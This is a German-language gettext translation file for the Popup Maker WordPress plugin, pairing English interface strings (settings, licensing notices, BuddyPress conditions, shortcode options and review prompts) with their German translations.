msgid "Message to show user when successfuly subscribed."
msgstr "Nachricht die dem Benutzer angezeigt wird wenn er sich erfolgreich eingetragen hat."

#: classes/Admin/Settings.php:289
msgid "Success Message"
msgstr "Erfolgs-Nachricht."

#: classes/Admin/Settings.php:279
msgid "The default mailing provider used for the subscription form."
msgstr "Der Standard Mail-Provider der für das Anmeldeformular genutzt wurde."

#: classes/Admin/Settings.php:278
msgid "Default Newsletter Provider"
msgstr "Standard Newsletter Provider"

#: classes/Admin/Settings.php:92
msgid "Settings saved successfully!"
msgstr "Einstellungen wurden erfolgreich gespeichert!"

#: classes/Admin/Settings.php:63 classes/Admin/Tools.php:70
msgid "Dismiss this notice."
msgstr "Diese Mitteilung verwerfen."

#: classes/Admin/Subscribers/Table.php:314
msgid "N/A"
msgstr "Nicht verfügbar"

#: classes/Admin/Popups.php:1131
msgid "Lifetime Conversions"
msgstr "Konversionen gesamt"

#: classes/Admin/Popups.php:1124
msgid "Previous Conversions"
msgstr "Vorherige Konversionen"

#: classes/Admin/Popups.php:1111
msgid "Reset Counts"
msgstr "Zähler zurücksetzen"

#: classes/Admin/Popups.php:1105 classes/Admin/Popups.php:1210
msgid "Conversion Rate"
msgstr "Konversionsrate"

#: classes/Admin/Popups.php:1101 classes/Admin/Popups.php:1209
msgid "Conversions"
msgstr "Konversionen"

#: classes/Admin/Popups.php:561
msgid "Other Sizes"
msgstr "Andere Größen"

#: classes/Admin/Popups.php:551
msgid "Responsive Sizes"
msgstr "Responsive Größen"

#: classes/Admin/Popups.php:443
msgid "Alternate Methods"
msgstr "Alternative Methoden"

#: classes/Admin/Popups.php:441
msgid "Button"
msgstr "Button"

#: classes/Admin/Popups.php:408 classes/Admin/Popups.php:438
#: classes/Admin/Popups.php:446 classes/Admin/Themes.php:380
#: classes/Admin/Themes.php:424 classes/Cookies.php:211
#: classes/Triggers.php:369
msgid "Advanced"
msgstr "Fortgeschritten"

#: classes/Admin/Popups.php:433 classes/Shortcode/Subscribe.php:91
msgid "Appearance"
msgstr "Design"

#: classes/Admin/Popups.php:423
msgid "General Settings"
msgstr "Allgemeine Einstellungen"

#: classes/Admin/Popups.php:407
msgid "Targeting"
msgstr "Targeting"

#: classes/Admin/Popups.php:174
msgid "Required"
msgstr "Erforderlich"

#: classes/Admin/Popups.php:149
msgid "Optional"
msgstr "Optional"

#: classes/Admin/Pages.php:56 classes/Admin/Subscribers.php:33
msgid "Subscribers"
msgstr "Abonnenten"

#: classes/Admin/Assets.php:150
msgid "We are sorry but your browser is not compatible with this kind of file upload. Please upgrade your browser."
msgstr "Es tut uns leid, aber dein Browser ist nicht kompatibel mit dieser Art von Datei upload. Bitte upgrade deinen Browser."

#: classes/Admin/Assets.php:149
msgid "Your all set, the upgrades completed successfully!"
msgstr "Du hast es geschafft, die Upgrades wurden erfolgreich ausgeführt!"

#: classes/Admin/Assets.php:75
msgid "Preview"
msgstr "Vorschau"

#. translators: %1$s is the batch ID, %2$s is the batch handler class.
#. translators: 1: Class name, 2: Batch process ID.
#: classes/Admin/Ajax.php:316 classes/Utils/Upgrades.php:707
msgid "%1$s is an invalid handler for the %2$s batch process. Please try again."
msgstr "%1$s ist ein ungültiger Handler für den %2$s Batch-Prozess. Bitte versuche es erneut."

#. translators: %s is the batch ID.
#. translators: 1: Batch process ID.
#: classes/Admin/Ajax.php:302 classes/Utils/Upgrades.php:695
msgid "An invalid file path is registered for the %1$s batch process handler."
msgstr "Für den %1$s Batch-Prozess-Handler wurde ein ungültiger Dateipfad registriert."

#. translators: %s is the batch ID.
#. translators: 1: Batch process ID.
#: classes/Admin/Ajax.php:287 classes/Utils/Upgrades.php:582
msgid "%s is an invalid batch process ID."
msgstr "%s ist eine ungültige Batch-Prozess-ID."

#: classes/Admin/Ajax.php:274 classes/Utils/Upgrades.php:559
msgid "You do not have permission to initiate this request. Contact an administrator for more information."
msgstr "Du hast nicht die Berechtigung für diese Anforderung. Kontaktiere einen Administrator für mehr Informationen."

#: classes/Admin/Ajax.php:265 classes/Utils/Upgrades.php:550
msgid "A batch process ID must be present to continue."
msgstr "Es muss eine Batch-Prozess-ID geben sein um fortzufahren."

#: classes/Abstract/Upgrade/Settings.php:67
msgid "Settings updated successfully."
msgstr "Einstellungen erfolgreich aktualisiert."

#. translators: 1: Version number.
#: classes/Abstract/Upgrade/Settings.php:61
msgid "Updating settings for v%s compatibility."
msgstr "Einstellungen für v%s Kompatibilität aktualisiert."

#. translators: 1: Number of items updated. 2: Singular or plural label.
#: classes/Abstract/Upgrade/Posts.php:219
msgid "%1$s %2$s was updated successfully."
msgid_plural "%1$s %2$s were updated successfully."
msgstr[0] "%1$s %2$s wurde erfolgreich aktualisiert."
msgstr[1] "%1$s %2$s wurden erfolgreich aktualisiert."

#. translators: 1: Number of items processed.
#: classes/Abstract/Batch/Process.php:124
msgid "%s item was successfully processed."
msgid_plural "%s items were successfully processed."
msgstr[0] "%s Element wurde erfolgreich ausgeführt."
msgstr[1] "%s Elemente wurden erfolgreich ausgeführt."

#: classes/Admin/Assets.php:86 classes/Admin/Shortcode/UI.php:118
msgid "There was an error in generating the preview"
msgstr "Bei der Erstellung der Vorschau gab es einen Fehler"

#: includes/integrations/class-pum-cf7.php:140
msgid "These settings control popups after successful form submissions."
msgstr "Diese Einstellungen steuern die Popups nachdem das Formular erfolgreich eingereicht wurde. "

#: classes/Admin/Popups.php:183 includes/integrations/class-pum-cf7.php:124
#: includes/integrations/class-pum-cf7.php:139
#: includes/integrations/class-pum-gravity-forms.php:125
msgid "Popup Settings"
msgstr "Einstellungen für Popup"

#. translators: %1$s: opening and closing link HTML tags, %2$s: link text.
#: includes/modules/menus.php:50
msgctxt "%s represent opening and closing link html"
msgid "Use this if there is a conflict with your theme or another plugin in the nav menu editor. %1$sLearn more%2$s"
msgstr "Verwende dies, wenn es mit deinem Theme oder einem anderen Plugin im Navigations-Menü-Editor einen Konflikt gibt. %1$sMehr Informationen%2$s"

#: includes/modules/menus.php:47
msgid "Disable Popups Menu Editor"
msgstr "Menu Editor für Popups deaktivieren"

#: includes/modules/admin-bar.php:237
msgid "Get Selector"
msgstr "Selektor holen"

#: includes/modules/admin-bar.php:273
msgctxt "JS alert for CSS get selector tool"
msgid "Selector"
msgstr "Selektor"

#: includes/modules/admin-bar.php:272
msgid "After clicking ok, click the element you want a selector for."
msgstr "Nachdem du auf ok geklickt hast, klicke auf das Element, für das du eine Auswahl möchtest."

#: classes/Admin/Settings.php:490
msgid "This will disable the admin Popups menu item."
msgstr "Hiermit wird das administrative Popup-Menu-Element deaktiviert."

#: classes/Admin/Settings.php:489
msgid "Disable Popups Admin Bar"
msgstr "Admin Bar für Popups deaktivieren"

#. Author URI of the plugin
#: popup-maker.php
msgid "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=author-uri"
msgstr "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=author-uri"

#. Plugin URI of the plugin
#: popup-maker.php
msgid "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=plugin-uri"
msgstr "https://wppopupmaker.com/?utm_campaign=plugin-info&utm_source=plugin-header&utm_medium=plugin-uri"

#: classes/Admin/Templates.php:485
msgid "Insert Preset"
msgstr "Voreinstellungen einfügen"

#: classes/Admin/Templates.php:478
msgid "Link: Ends With"
msgstr "Link: Endet mit"

#: classes/Admin/Templates.php:477
msgid "Link: Begins With"
msgstr "Link: Beginnt mit"

#: classes/Admin/Templates.php:476
msgid "Link: Containing"
msgstr "Link: Enthält"

#: classes/Admin/Templates.php:475
msgid "Link: Exact Match"
msgstr "Link: Stimmt exakt überein"

#. translators: 1. plugin name.
#: includes/pum-sdk/class-pum-extension-activation.php:124
msgid " requires Popup Maker! Please %s to continue!"
msgstr "Popup Maker erforderlich! Bitte %s um fortzufahren!"

#: classes/Extension/Activator.php:196 classes/Utils/Prerequisites.php:322
#: includes/pum-sdk/class-pum-extension-activation.php:118
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:433
msgid "install it"
msgstr "installiere es"

#: classes/Extension/Activator.php:171 classes/Utils/Prerequisites.php:299
#: includes/pum-sdk/class-pum-extension-activation.php:115
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:410
msgid "activate it"
msgstr "aktiviere es"

#: includes/pum-sdk/class-pum-extension-activation.php:82
msgid "This plugin"
msgstr "Dieses Plugin"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:324
msgctxt "condition: post type plural label ie. Posts: ID"
msgid "%s: Ancestor Of"
msgstr "%s: Verwandt mit"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:301
msgctxt "condition: post type plural label ie. Posts: ID"
msgid "%s: Child Of"
msgstr "%s: Kind von"

#: includes/modules/reviews.php:356 includes/modules/reviews.php:495
msgid "I already did"
msgstr "Habe ich schon"

#: includes/modules/reviews.php:351 includes/modules/reviews.php:490
msgid "Nope, maybe later"
msgstr "Nein, später vielleicht"

#: includes/modules/reviews.php:347 includes/modules/reviews.php:485
msgid "Ok, you deserve it"
msgstr "Ja, du hast es verdient"

#. translators: %s: number of popup views.
#: includes/modules/reviews.php:273
msgid "Hi there! You've recently hit %s popup views on your site – that’s awesome!! If you'd like to celebrate this milestone, rate Popup Maker 5-stars to help spread the word!"
msgstr "Hey! Du hast kürzlich %s Popup-Anzeigen erreicht - das ist großartig!! Falls du diesen Meilenstein feiern möchtest, dann gib Popup Maker eine 5-Sterne Bewertung und hilf die Botschaft weiter zu verbreiten!"

#: includes/modules/reviews.php:254
msgid "3 months"
msgstr "3 Monate"

#: includes/modules/reviews.php:246
msgid "1 month"
msgstr "1 Monat"

#: includes/modules/reviews.php:238
msgid "1 week"
msgstr "1 Woche"

#. translators: %s: number of days.
#: includes/modules/reviews.php:233
msgid "Hi there! You've been using Popup Maker on your site for %s - I hope it's been helpful. If you're enjoying my plugin, would you mind rating it 5-stars to help spread the word?"
msgstr "Hey! Du hast Popup Maker auf deiner Seite schon seit %s im Einsatz - Ich hoffe, es war nützlich. Falls du mein Plugin magst, würde es Dir etwas ausmachen es mit 5 Sternen zu bewerten um die Botschaft weiter zu verbreiten?"

#: includes/modules/menus.php:202
msgid "Choose a popup to trigger when this item is clicked."
msgstr "Wähle ein Popup das ausgewählt wird wenn dieses Element angeklickt wird."

#: includes/modules/menus.php:191
msgid "Trigger a Popup"
msgstr "Popup auslösen"

#: classes/Analytics.php:153
msgid "Missing Parameters."
msgstr "Fehlende Angaben. "

#: includes/modules/admin-bar.php:180
msgid "No Popups Loaded"
msgstr "Es wurden keine Popups geladen"

#: includes/modules/admin-bar.php:169
msgid "Edit Popup"
msgstr "Popup bearbeiten"

#: includes/modules/admin-bar.php:155
msgid "Reset Cookies"
msgstr "Cookies zurücksetzen"

#: includes/modules/admin-bar.php:142
msgid "Check Conditions"
msgstr "Bedingungen prüfen"

#: includes/integrations/class-pum-woocommerce-integration.php:68
msgid "Selected Endpoints"
msgstr "Ausgewählte Endpunkte"

#: includes/integrations/class-pum-woocommerce-integration.php:65
msgid "Is Endpoint"
msgstr "Ist Endpunkt"

#: classes/Extension/License.php:543
msgid "Enter valid license key for automatic updates."
msgstr "Gib einen gültigen Lizenzschlüssel ein um automatische Updates zu ermöglichen. "

#. translators: 1. opening link text, 2. closing link text
#: classes/Extension/License.php:475 classes/Extension/License.php:515
msgid "You have invalid or expired license keys for Popup Maker. Please go to the %1$sLicenses page%2$s to correct this issue."
msgstr "Du hast einen ungültigen oder abgelaufenen Lizenzschlüssel für Popup Maker. Bitte gehe zur %1$sLizenzseite%2$s, um das Problem zu beheben."

#. translators: 1. opening link text, 2. closing link text
#: classes/Extension/License.php:221
msgid "Enter your extension license keys here to receive updates for purchased extensions. If your license key has expired, please %1$srenew your license%2$s."
msgstr "Gib hier deinen Lizenzschlüssel für Erweiterungen ein, um Updates für gekaufte Erweiterungen zu erhalten. Wenn dein Lizenzschlüssel abgelaufen ist, erneuere bitte %1$sdeine Lizenz%2$s."

#. translators: 1. Product name.
#: classes/Admin/Tools.php:202
msgid "Get updates for pre-release versions of %s"
msgstr "Erhalte Updates für die Vorabversion von %s"

#: classes/Admin/Tools.php:187
msgid "Enable Beta Versions"
msgstr "Beta-Versionen aktivieren"

#: classes/Admin/Tools.php:133
msgid "Beta Versions"
msgstr "Beta-Versionen"

#: classes/Admin/Settings.php:597
msgid "Core Styles"
msgstr "Haupt-Stile"

#: classes/Admin/Settings.php:593
msgid "Show Popup Maker CSS"
msgstr "CSS von Popup Maker anzeigen"

#. translators: 1. Plugin name.
#: classes/Licensing.php:190
msgid "To receive updates, please enter your valid %s license key."
msgstr "Um Updates zu erhalten gib bitte einen gültigen %s Lizenzschlüssel ein. "

#. translators: 1. Expiration date.
#: classes/Licensing.php:180
msgid "Your license key expires on %s."
msgstr "Dein Lizenzschlüssel läuft am %s ab. "

#. translators: 1. Expiration date, 2. Opening HTML link tag, 3. Closing HTML
#. tag.
#: classes/Licensing.php:172
msgid "Your license key expires soon! It expires on %1$s. %2$sRenew your license key%3$s."
msgstr "Dein Lizenzschlüssel läuft bald ab! Er endet am %1$s. %2$sErneuere deinen Lizenzschlüssel%3$s."

#: classes/Licensing.php:168
msgid "License key never expires."
msgstr "Der Lizenzschlüssel läuft nie ab."

#. translators: 1. Error message, 2. Opening HTML link tag, 3. Closing HTML
#. tag.
#: classes/Licensing.php:153
msgid "There was an error with this license key: %1$s. Please %2$scontact our support team%3$s."
msgstr "Bei diesem Lizenzschlüssel ist ein Fehler aufgetreten: %1$s. Bitte %2$skontaktiere unser Support-Team%3$s."

#: classes/Licensing.php:150
msgid "unknown_error"
msgstr "unbekannter_fehler"

#: classes/Licensing.php:147
msgid "The key you entered belongs to a bundle, please use the product specific license key."
msgstr "Die Lizenz die du eingetragen hast gehört zu einem Paket. Bitte verwenden den produktspezifischen Lizenzschlüssel. "

#. translators: 1. Plugin name.
#: classes/Licensing.php:134
msgid "This appears to be an invalid license key for %s."
msgstr "Das scheint ein ungüliter Lizenzschlüssel für %s zu sein. "

#. translators: 1. Plugin name. 2. Opening HTML link tag, 3. Closing HTML tag.
#: classes/Licensing.php:125
msgid "Your %1$s is not active for this URL. Please %2$svisit your account page%3$s to manage your license key URLs."
msgstr "Dein %1$s ist für diese URL nicht aktiv. Bitte besuche %2$sdeine Kontoseite%3$s, um deine Lizenzschlüssel-URLs zu verwalten."

#. translators: 1. Opening HTML link tag, 2. Closing HTML tag.
#: classes/Licensing.php:116
msgid "Invalid license. Please %1$svisit your account page%2$s and verify it."
msgstr "Ungültige Lizenz. Bitte %1$sbesuche deine Kontoseite%2$s und überprüfe sie."

#. translators: 1. Opening HTML link tag, 2. Closing HTML tag.
#: classes/Licensing.php:108
msgid "Your license key has been disabled. Please %1$scontact support%2$s for more information."
msgstr "Dein Lizenzschlüssel wurde deaktiviert. Bitte %1$skontaktiere den Support%2$s für weitere Informationen."

#. translators: 1. Expiration date, 2. Opening HTML link tag, 3. Closing HTML
#. tag.
#: classes/Licensing.php:98
msgid "Your license key expired on %1$s. Please %2$srenew your license key%3$s."
msgstr "Dein Lizenzschlüssel ist am %1$s abgelaufen. Bitte %2$serneuere deinen Lizenschlüssel%3$s."

#: classes/Admin/Settings.php:343
msgid "This will disable the built in analytics functionality."
msgstr "Das wird die eingebaute Analyse-Funktion deaktivieren."

#: classes/Admin/Settings.php:342
msgid "Disables popup open tracking?"
msgstr "Tracking von Popup-Öffnungen deaktivieren?"

#: classes/Admin/Settings.php:495
msgid "This will turn on multiple debug tools used to quickly find issues."
msgstr "Das aktiviert verschiedene Werkzeuge zur Fehlersuche um Probleme schnell zu identifizieren."

#: classes/Admin/Settings.php:494
msgid "Enable Debug Mode"
msgstr "Fehlersuche-Modus aktivieren"

#: classes/Admin/Settings.php:540
msgid "Check this if you have copied the Popup Maker core styles to your own stylesheet or are using custom styles."
msgstr "Aktiviere diese Option, wenn du die Popup Maker Styles in dein eigenes Stylesheet kopiert hast oder wenn du benutzerdefinierte Styles verwendest. "

#: classes/Admin/Settings.php:539
msgid "Don't load Popup Maker core stylesheet."
msgstr "Lade nicht das Popum Maker Stylesheet"

#. translators: 1. URL to documentation. 2. Closing HTML tag.
#: classes/Admin/Popups.php:808
msgid "This will position the popup in relation to the %1$sClick Trigger%2$s."
msgstr "Hiermit wird das PopUp im Verhältnis zum %1$sKlick-Auslöser%2$s positioniert."

#: classes/Admin/Popups.php:805
msgid "Position from Trigger"
msgstr "Position des Auslösers"

#: classes/Admin/Popups.php:508
msgid "Disable this popup on tablet devices."
msgstr "Dieses Popup auf Tablets deaktivieren."

#: classes/Admin/Support.php:52
msgid "<b>Secure HTTPS contact page</b>, running via iframe from external domain"
msgstr "<b>Sichere HTTPS-Kontakt-Seite</b>, läuft über Iframe von externer Domain aus"

#: classes/Admin/Pages.php:71 classes/Admin/Pages.php:169
msgid "Help & Support"
msgstr "Hilfe und Support"

#: classes/Admin/Popups.php:503
msgid "Disable this popup on mobile devices."
msgstr "Dieses Popup auf mobilen Geräten deaktivieren."

#: classes/Shortcode/Subscribe.php:440
#: includes/integrations/class-pum-cf7.php:230
#: includes/integrations/class-pum-gravity-forms.php:235
#: includes/integrations/ninja-forms/Actions/OpenPopup.php:90
msgid "Select a popup"
msgstr "Wähle ein Popup"

#: classes/Analytics.php:193 classes/Shortcode/Subscribe.php:437
#: includes/integrations/ninja-forms/Actions/OpenPopup.php:52
msgid "Popup ID"
msgstr "Popup ID"

#: includes/integrations/ninja-forms/Actions/ClosePopup.php:56
msgid "0"
msgstr "0"

#: classes/Shortcode/Subscribe.php:417
#: includes/integrations/class-pum-cf7.php:145
#: includes/integrations/class-pum-gravity-forms.php:136
#: includes/integrations/ninja-forms/Actions/ClosePopup.php:46
#: includes/modules/admin-bar.php:129
msgid "Close Popup"
msgstr "Popup schließen"

#: classes/Shortcode/PopupClose.php:104
msgid "This prevents us from disabling the browsers default action when a close button is clicked. It can be used to allow a link to a file to both close a popup and still download the file."
msgstr "Das hindert uns daran, die Browser-Standardaktion zu unterdrücken wenn ein Schließen-Button geklickt wird. Das kann genutzt werden damit ein Link zu einer Datei ein Popup schließt und die Datei trotzdem heruntergeladen werden kann. "

#: classes/Conditions.php:360 classes/Shortcode/Subscribe.php:137
#: classes/Shortcode/Subscribe.php:305
msgid "Default"
msgstr "Standard"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:351
msgctxt "condition: post type plural label ie. Pages: With Template"
msgid "%s: With Template"
msgstr "%s: Mit Vorlage"

#: classes/Admin/Popups.php:838
msgid "This will disable automatic repositioning of the popup on window resizing."
msgstr "Hiermit wird die automatische Repositionierung des Popups bei Anpassung der Fenstergröße deaktiviert."

#: classes/Admin/Popups.php:837
msgid "Disable Repositioning"
msgstr "Repositionierung deaktivieren"

#: classes/Admin/Templates.php:207
msgid "Activate License"
msgstr "Lizenz aktivieren"

#: includes/integrations/class-pum-buddypress-integration.php:125
msgid "Which action variables?"
msgstr "Welche Aktionsvariablen?"

#: includes/integrations/class-pum-buddypress-integration.php:121
msgid "BP: Is Action Variable"
msgstr "BP: Ist eine Aktionsvariable"

#: includes/integrations/class-pum-buddypress-integration.php:113
msgid "Which actions?"
msgstr "Welche Aktionen?"

#: includes/integrations/class-pum-buddypress-integration.php:109
msgid "BP: Is Current Action"
msgstr "BP: Ist die aktuelle Aktion"

#: includes/integrations/class-pum-buddypress-integration.php:101
msgid "Which components?"
msgstr "Welche Komponenten?"

#: includes/integrations/class-pum-buddypress-integration.php:93
msgid "BP: Is Current Component"
msgstr "BP: Ist eine aktuelle Komponente"

#: includes/integrations/class-pum-buddypress-integration.php:88
msgid "BP: Is Directory"
msgstr "BP: Ist ein Verzeichnis"

#: includes/integrations/class-pum-buddypress-integration.php:82
msgid "BP: Is Item Mod"
msgstr "BP: Ist ein Artikelmoderator"

#: includes/integrations/class-pum-buddypress-integration.php:76
msgid "BP: Is Item Admin"
msgstr "BP: Ist ein Item Administrator"

#: includes/integrations/class-pum-buddypress-integration.php:70
msgid "BP: Is Register Page"
msgstr "BP: Ist eine Registrierungsseite"

#: includes/integrations/class-pum-buddypress-integration.php:64
msgid "BP: Is Activation Page"
msgstr "BP: Ist eine Aktivierungsseite"

#: includes/integrations/class-pum-buddypress-integration.php:58
msgid "BP: Is User Messages Page"
msgstr "BP: Ist eine Benutzer-Nachrichtenseite"

#: includes/integrations/class-pum-buddypress-integration.php:52
msgid "BP: Is Group Page"
msgstr "BP: Ist eine Gruppenseite"

#: includes/integrations/class-pum-buddypress-integration.php:46
msgid "BP: Is User Page"
msgstr "BP: Ist eine Benutzerseite"

#: includes/integrations/class-pum-buddypress-integration.php:40
msgid "BP: Is a BuddyPress Page"
msgstr "BP: Ist eine BuddyPress Seite"

#: classes/Utils/Alerts.php:275
#: includes/integrations/class-pum-buddypress-integration.php:39
#: includes/integrations/class-pum-buddypress-integration.php:45
#: includes/integrations/class-pum-buddypress-integration.php:51
#: includes/integrations/class-pum-buddypress-integration.php:57
#: includes/integrations/class-pum-buddypress-integration.php:63
#: includes/integrations/class-pum-buddypress-integration.php:69
#: includes/integrations/class-pum-buddypress-integration.php:75
#: includes/integrations/class-pum-buddypress-integration.php:81
#: includes/integrations/class-pum-buddypress-integration.php:87
#: includes/integrations/class-pum-buddypress-integration.php:92
#: includes/integrations/class-pum-buddypress-integration.php:108
#: includes/integrations/class-pum-buddypress-integration.php:120
#: includes/integrations/class-pum-buddypress-integration.php:248
msgid "BuddyPress"
msgstr "BuddyPress"

#. translators: 1. Taxonomy singular label.
#: classes/Conditions.php:470
msgctxt "condition: taxonomy plural label ie. Category IDs"
msgid "%s IDs: 128, 129"
msgstr "%s IDs: 128, 129"

#. translators: 1. Taxonomy plural label.
#: classes/Conditions.php:463
msgctxt "condition: taxonomy plural label ie. Categories: Selected"
msgid "%s: IDs"
msgstr "%s: IDs"

#. translators: 1. Post type singular label.
#: classes/Conditions.php:287
msgctxt "condition: post type singular label ie. Posts IDs"
msgid "%s IDs: 128, 129"
msgstr "%s IDs: 128, 129"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:280
msgctxt "condition: post type plural label ie. Posts: ID"
msgid "%s: ID"
msgstr "%s: ID"

#. translators: %1$s: Post Type Singular: Popup, Theme
#: classes/Types.php:206
msgctxt "Post Type Singular: Popup, Theme"
msgid "%1$s submitted."
msgstr "%1$s eingereicht."

#. translators: %1$s: Post Type Singular: Popup, Theme
#: classes/Types.php:204
msgctxt "Post Type Singular: Popup, Theme"
msgid "%1$s saved."
msgstr "%1$s gespeichert."

#. translators: %1$s: Post Type Singular: Popup, Theme
#: classes/Types.php:202
msgctxt "Post Type Singular: Popup, Theme"
msgid "%1$s published."
msgstr "%1$s veröffentlicht."

#. translators: %1$s: Post Type Singular: Popup, Theme
#: classes/Types.php:198 classes/Types.php:200
msgctxt "Post Type Singular: Popup, Theme"
msgid "%1$s updated."
msgstr "%1$s aktualisiert."

#. translators: 1. Screen Edge: top, bottom.
#: classes/Admin/Popups.php:736 classes/Admin/Popups.php:754
#: classes/Admin/Popups.php:772 classes/Admin/Popups.php:790
#: classes/Shortcode/Popup.php:176 classes/Shortcode/Popup.php:191
#: classes/Shortcode/Popup.php:206 classes/Shortcode/Popup.php:221
msgctxt "Screen Edge: top, bottom"
msgid "Distance from the %s edge of the screen."
msgstr "Abstand vom %s Rand des Bildschirms"

#: classes/Shortcode/PopupTrigger.php:136 classes/Triggers.php:191
msgid "This prevents us from disabling the browsers default action when a trigger is clicked. It can be used to allow a link to a file to both trigger a popup and still download the file."
msgstr "Das verhindert, dass wir die Standard-Aktion des Browsers unterdrücken wenn ein Trigger angeklickt wird. Das kann verwendet werden um einem Link zu einer Datei zu erlauben sowohl einen PopUp auszulösen als auch die Datei herunterzuladen."

#: classes/Shortcode/PopupClose.php:103 classes/Shortcode/PopupTrigger.php:135
#: classes/Triggers.php:190
msgid "Do not prevent the default click functionality."
msgstr "Die Standard Click-Funktionalität nicht unterdrücken."

#: classes/Admin/Popups.php:537 classes/Admin/Settings.php:242
msgid "Customize This Theme"
msgstr "Passe dieses Theme an"

#: classes/Admin/Pages.php:115 classes/Types.php:67 classes/Types.php:69
#: classes/Upsell.php:145
msgid "Popup Themes"
msgstr "Popup-Themes"

#: classes/Shortcode/Popup.php:154
msgid "Height Unit"
msgstr "Einheiten-Höhe"

#: classes/Shortcode/Popup.php:143
msgid "Width Unit"
msgstr "Einheiten-Breite"

#: classes/Shortcode/Popup.php:116
msgid "Choose which popup theme will be used."
msgstr "Wähle welches Popup-Theme genutzt wird. "

#: classes/Shortcode/Popup.php:115
msgid "Choose a theme,"
msgstr "Wähle ein Theme"

#: classes/Admin/Onboarding.php:273 classes/Admin/Popups.php:115
#: classes/Admin/Popups.php:536 classes/Shortcode/Popup.php:114
#: classes/Types.php:67 classes/Types.php:213 classes/Upsell.php:145
msgid "Popup Theme"
msgstr "Popup Theme"

#: classes/Shortcode/Popup.php:105
msgid "This will be displayed above the content. Leave it empty to disable it."
msgstr "Das wird über dem Inhalt angezeigt. Lasse es leer um es zu deaktivieren. "

#: classes/Shortcode/Popup.php:104
msgid "Enter popup title text,"
msgstr "Gib den Text für den Popup-Titel an,"

#: classes/Admin/Popups.php:146 classes/Admin/Popups.php:148
#: classes/Shortcode/Popup.php:103
msgid "Popup Title"
msgstr "Titel des PopUps"

#: classes/Shortcode/Popup.php:98
msgid "Used in popup triggers to target this popup"
msgstr "In einem Popup-Auslöser verwendet um das Popup anzusprechen"

#: classes/Shortcode/Popup.php:97
msgid "`offer`, `more-info`"
msgstr "`Angebot`, `mehr Infos`"

#: classes/Shortcode/Popup.php:96
msgid "Unique Popup ID"
msgstr "Eindeutige Popup ID"

#: classes/Admin/Popups.php:404 classes/Shortcode/Popup.php:58
#: classes/Shortcode/Popup.php:76
msgid "Display"
msgstr "Anzeige"

#: classes/Shortcode/Popup.php:38
msgid "Insert a popup inline rather. Great for simple popups used for supporting content."
msgstr "Füge das Pop-up stattdessen inline ein. Großartig für einfache Pop-ups die Inhalte unterstützen."

#: classes/Shortcode/PopupTrigger.php:91
msgid "Choose which popup will be targeted by this trigger."
msgstr "Wähle, welches Popup durch diesen Auslöser angesprochen wird."

#: classes/Shortcode/PopupTrigger.php:90
msgid "Choose a Popup"
msgstr "Wähle ein Popup"

#: classes/Shortcode/PopupTrigger.php:89
msgid "Targeted Popup"
msgstr "Angesprochenes Popup"

#: classes/Shortcode/PopupTrigger.php:58
msgid "Trigger Content"
msgstr "Inhalt auslösen"

#: classes/Shortcode/PopupTrigger.php:50
msgid "Inserts a click-able popup trigger."
msgstr "Fügt einen klickbaren Popup-Auslöser ein."

#: classes/Shortcode/PopupClose.php:98 classes/Shortcode/PopupTrigger.php:126
msgid "Add additional classes for styling."
msgstr "Füge weiter Klassen für das Styling hinzu. "

#: classes/Admin/Popups.php:1207 classes/Shortcode/PopupClose.php:95
#: classes/Shortcode/PopupTrigger.php:123
#: classes/Shortcode/PopupTrigger.php:124
msgid "CSS Class"
msgstr "CSS-Klasse"

#: classes/Shortcode/PopupTrigger.php:116
msgid "The HTML tag used to generate the trigger and wrap your text."
msgstr "Der HTML Tag der verwendet wurde um den Auslöser zu erstellen und der den Text umschließt."

#: classes/Shortcode/PopupTrigger.php:115
msgid "HTML Tags: button, span etc."
msgstr "HTML Tags: button, span etc."

#: classes/Shortcode/PopupClose.php:55 classes/Shortcode/PopupTrigger.php:114
msgid "HTML Tag"
msgstr "HTML Tag"

#: classes/Shortcode/Popup.php:44 classes/Shortcode/PopupClose.php:42
#: classes/Shortcode/PopupTrigger.php:59
msgid "Can contain other shortcodes, images, text or html content."
msgstr "Kann andere Shortcodes, Bilder, Text oder HTML beinhalten. "

#: classes/Admin/Themes.php:378 classes/Shortcode/Popup.php:43
#: classes/Shortcode/PopupClose.php:41
msgid "Content"
msgstr "Inhalt"

#: classes/Shortcode/PopupClose.php:36
msgid "Make text or html a close trigger for your popup."
msgstr "Erstelle Text oder HTML als Schließen-Trigger für dein PopUp"

#: classes/Shortcode/PopupClose.php:32
msgid "Popup Close Button"
msgstr "Popup Schließen Button"

#: classes/Triggers.php:173
msgid "Extra Selectors"
msgstr "Zusätzliche Selektoren"

#: classes/Triggers.php:172
msgid "Click Trigger Settings"
msgstr "Einstellungen für den Klick-Auslöser"

#: classes/Triggers.php:171
msgid "Click Open"
msgstr "Öffnen durch Klick"

#: includes/pum-install-functions.php:177
msgid "Framed Border"
msgstr "Rahmen"

#: includes/pum-install-functions.php:170
msgid "Cutting Edge"
msgstr "Spitzenposition"

#: includes/pum-install-functions.php:163
msgid "Hello Box"
msgstr "Hallo Box"

#: includes/pum-install-functions.php:156
msgid "Enterprise Blue"
msgstr "Enterprise Blue"

#: includes/pum-install-functions.php:149
msgid "Light Box"
msgstr "Light Box"

#: classes/Cookies.php:86
msgid "On Popup Open"
msgstr "Wenn PopUp öffnet"

#: classes/Cookies.php:231 classes/Shortcode/PopupCookie.php:50
msgid "The name that will be used when checking for or saving this cookie."
msgstr "Der Name der verwendet wird wenn nach diesem Cookie gesucht oder wenn es gespeichert wird. "

#: classes/Cookies.php:230 classes/Shortcode/PopupCookie.php:49
msgid "Cookie Name ex. popmaker-123"
msgstr "Cookie Name z.B. popmaker-123"

#: classes/Cookies.php:229 classes/Privacy.php:79
#: classes/Shortcode/PopupCookie.php:48 classes/Triggers.php:337
msgid "Cookie Name"
msgstr "Name des Cookies"

#: classes/Conditions.php:498
msgid "Blog Index"
msgstr "Blog Index"

#: classes/Conditions.php:491
msgid "Home Page"
msgstr "Home Page"

#. translators: 1. Taxonomy plural label.
#: classes/Conditions.php:447
